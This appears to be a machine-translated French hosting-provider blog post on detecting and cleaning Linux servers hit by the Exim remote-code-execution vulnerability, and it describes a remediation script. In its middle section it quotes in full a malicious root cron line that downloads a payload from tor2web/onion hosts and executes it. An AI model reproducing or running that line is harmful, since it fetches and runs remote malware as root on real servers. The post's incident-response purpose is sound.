La première vague affectée par la vulnérabilité Exim. Le script du traitement

La vulnérabilité avec le RCE d'Exim était déjà assez sensationnelle et en quelque sorte troublait les nerfs des administrateurs système du monde entier.

À la suite d'infections massives (beaucoup de nos clients utilisent Exim comme serveur de messagerie), ils ont rapidement diffusé un script pour automatiser la solution au problème. Le script est loin d'être idéal et plein de code sous-optimal, mais c'est une solution de combat rapide afin de ne pas effectuer les mêmes actions sur des centaines voire des milliers de serveurs.

Il fonctionne sur des serveurs exécutant Centos, RHEL, Debian, Ubuntu avec un serveur de messagerie Exim installé.

Comment comprendre que le serveur est piraté?


Vérifiez les processus en cours avec la commande supérieure.
Sur les serveurs infectés, une charge de 100% est créée par le processus [kthrotlds]. Également dans le planificateur cron, une tâche est ajoutée avec des droits d'édition limités.

Section d'alerte


Tous les incidents d'infection que nous avons rencontrés étaient du même type, les deuxième et troisième vagues peuvent en différer - pour eux, il peut être nécessaire de modifier le script. Au moment de l'infection, les tâches dans cron sont irrévocablement perdues et doivent être retournées à la main. Le script "coupe l'épaule" - met à jour sans crainte Exim vers des versions corrigées, dans le cas de Centos 6, même à partir du référentiel de test. L'instance de logiciel malveillant est en mémoire, le serveur doit donc être redémarré immédiatement après le nettoyage des couronnes.

Important: la vulnérabilité permet d'exécuter du code à partir de root, ce qui ne donne aucune garantie de guérison à cent pour cent. Ayant un accès root au serveur, vous pouvez cacher presque n'importe quoi sur ce serveur, de sorte qu'il sera presque impossible de le trouver. Garantir une cure complète du serveur ne peut être qu'une réinstallation complète, mais c'est loin d'être toujours possible. S'il n'y a aucune possibilité de réinstaller le serveur et que les symptômes sont les mêmes que ceux décrits, vous pouvez essayer de combler rapidement les trous avec ce script.

En utilisant un script, vous le faites à vos risques et périls: nous avons testé le script sur un certain nombre de serveurs, cependant, il existe toujours des risques de versions de logiciels incompatibles ou de conflit de configuration.
Notre script vous permet également de ne guérir que l'une des implémentations possibles de l'infection - il est possible qu'il existe déjà maintenant d'autres moyens d'exploiter la vulnérabilité qui ne nous sont pas apparus.

Que fait le script?



1. Met à jour Exim, réinstalle curl.
2. Vérifie l'infection sur le serveur.

Le script analyse les tâches du planificateur pour la présence d'inclusions suspectes.
Par exemple, tels que:

*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; (${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp 


2a. S'il y a des traces d'un script de virus dans le dossier / etc, procédez comme suit

  • arrête cron
  • tue un processus lancé par un script de virus
  • tue les processus curl wget sh quatre fois (exécuté par le virus selon le calendrier)
  • nettoie la file d'attente de courrier de toutes les lettres (les messages infectés sont difficiles à séparer des messages inoffensifs, vous devez donc supprimer toute la file d'attente )
  • Permet la suppression de fichiers où se trouvent des fragments d'un script malveillant:
     /etc/cron.daily/cronlog /etc/cron.d/root /etc/cron.d/.cronbus /etc/cron.hourly/cronlog /etc/cron.monthly/cronlog /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/root /etc/crontab /root/.cache/ /root/.cache/a /usr/local/bin/nptd /root/.cache/.kswapd /usr/bin/\[kthrotlds\] /root/.ssh/authorized_keys /.cache/* /.cache/.sysud /.cache/.a /.cache/.favicon.ico /.cache/.kswapd /.cache/.ntp 
  • supprime ces fichiers
  • supprime un travail à démarrage automatique dans /etc/rc.local
  • supprime une clé d'attaquant des clés ssh autorisées
  • exécute cron
  • et redémarre immédiatement le serveur

2b. S'il n'y a aucune trace d'infection, le script se ferme.

Raffinements


Le virus supprime tous les travaux du planificateur cron. Par conséquent, après le redémarrage du serveur, ils doivent être reconfigurés ou restaurés à partir de la sauvegarde.

curl est également infecté par le virus, il est donc réinstallé.

Un redémarrage (le script l'exécute automatiquement après le traitement) est nécessaire - sinon le malware est stocké dans la mémoire du serveur et se réplique automatiquement toutes les 30 secondes même après la suppression des fichiers infectés.

Comment utiliser?


Traditionnellement: avant de commencer, assurez-vous de disposer de la copie de sauvegarde réelle des données du serveur.

Pour exécuter le script:


Connectez-vous au serveur via ssh en tant qu'utilisateur avec des privilèges root. Vous pouvez également utiliser le client Shell dans le panneau ISPmanager - Tools.

Dans le terminal, entrez la commande:

 wget https://lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.sh 

Attendez-vous à ce que le script termine et redémarre le serveur.

Après le redémarrage, vérifiez le fonctionnement du serveur et des sites / applications hébergés sur celui-ci, reconfigurez ou restaurez les tâches à effectuer à partir de la sauvegarde.

Et enfin


En fait, le script est une solution temporaire pour restaurer le fonctionnement du serveur, pour une prévention garantie, la meilleure solution est de passer à un nouveau serveur avec la version du système d'exploitation qui ne contient plus de vulnérabilité.

Toutes les recommandations pour finaliser / traiter le script sont les bienvenues. Si vous rencontrez un autre symptôme d'infection - montrez-le, s'il vous plaît. La coopération au moment des infections de masse réduit considérablement le temps nécessaire pour éliminer ces infections.

Bonne chance

UPD1: ajouté sur github .
Le code source du script Malvari y a été téléchargé, qui a réussi à être extrait du serveur infecté .
UPD2: pour Centos 6, la version 4.92 est entrée dans EPEL, maintenant dans toutes les versions du script, elle est installée à partir des référentiels principaux. Initialement, le script a téléchargé 4.92 pour Centos 6 depuis EPEL / testing.

Source: https://habr.com/ru/post/fr455636/


All Articles